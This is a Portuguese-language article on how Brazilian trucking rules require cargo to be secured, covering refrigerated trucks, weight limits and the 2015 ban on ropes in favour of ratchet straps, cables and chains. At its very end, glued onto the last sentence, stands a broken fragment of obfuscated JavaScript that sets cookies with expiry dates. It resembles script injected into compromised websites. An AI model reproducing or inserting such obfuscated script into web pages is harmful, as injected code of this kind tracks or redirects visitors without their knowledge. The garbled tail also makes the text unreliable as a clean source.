Catracas e cintas para carretas: Qual a maneira certa de amarrar cargas?

Catracas e cintas para carretas: Qual a maneira correta de amarrar cargas? – Apesar de ser um país de dimensões continentais, o Brasil tem o transporte rodoviário como o mais importante em todos os cantos de seu território. Além de ter vital importância no transporte de pessoas, seja dentro da cidade ou entre locais distintos, o transporte rodoviário é essencial para o translado de mercadorias, essencial para abastecer a população.

No entanto, para transportar essas cargas de acordo com a lei é necessário seguir uma série de regras impostas pelos órgãos federais. Por esse motivo, para que o motorista saiba como transportar as suas cargas em um caminhão, preparamos esse artigo falando sobre antigas e novas resoluções que regulamentam esse transporte.

Como transportar cargas em caminhão frigorífico?

Caminhão frigorífico é aquele com baú refrigerado, o qual geralmente transporta cargas perecíveis, como carnes congeladas e outros tipos de alimentos. Para esse tipo de carga, o transporte é consideravelmente mais simples, tendo em vista que os baús são fechados, o que naturalmente dá mais segurança para a carga.

Dessa forma, as únicas exigências são: primeiramente, deve-se respeitar a capacidade máxima de carga do seu caminhão. Caso contrário, balanças fiscalizadoras existentes em várias estradas podem apreender o veículo e a sua carga, podendo causar perdas irreversíveis para a empresa e para o condutor. Isso é feito para a preservação principalmente das estradas, uma vez que caminhões com sobrepeso danificam mais o asfalto, causando buracos e imperfeições.

Além disso, para a proteção da carga em si, é necessário fazer o empilhamento recomendado nos rótulos das caixas. Outra determinação é em relação aos paletes, que devem ser colocados para dar mais estabilidade para as cargas. Ademais, as portas dos baús refrigerados devem estar em boas condições, a fim de não correr riscos de abrir em movimento, o que poderia causar grandes tragédias nas estradas.

Qual a maneira correta de amarrar cargas? Catracas e cintas para carretas

Quando o assunto são as cargas secas, isto é, aquelas que não são perecíveis e carregadas por carrocerias comuns, a maior questão é em relação a sua amarração. No ano de 2015, o Conselho Nacional de Trânsito, mais conhecido como Contram, divulgou novas regulamentações quanto à amarração de cargas secas.

Estas, por sua vez, começaram a valer para a fabricação de caminhões a partir do ano de 2017. Para veículos que já estavam rodando, as regras começaram a valer apenas em 2018.

A primeira grande mudança é quanto ao uso de cordas para amarrar as cargas. Nesse sentido, o Contram proibiu a utilização desses elementos. Segundo um representante do órgão, isso se deve ao fato de que as cordas se esticam e estão sujeitas a desgaste rápido a partir da variação de clima. Nesse sentido, os elementos permitidos são cintas de tecido com catracas, cabos de aço e correntes.

Além disso, esses elementos precisam ter uma resistência de ruptura que é o dobro da capacidade máxima do caminhão.

Outra nova regulamentação é quanto às cargas indivisíveis, como equipamentos, máquinas, barras de ferro, dentre outros. Estes devem ser presos em, no mínimo, quatro pontos de amarração.

Além disso, as cintas de tecido com catracas, cabos de aço e correntes, só poderão ser colocadas pelo lado de fora da carroceria em casos de cargas que ocupem toda a carroceria. Caso contrário, os dispositivos de amarração devem ser presos pelo lado de dentro.

As cordas, outrora muito utilizadas para a amarração de cargas, só podem ser utilização para prender lonas que cobrem as cargas.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]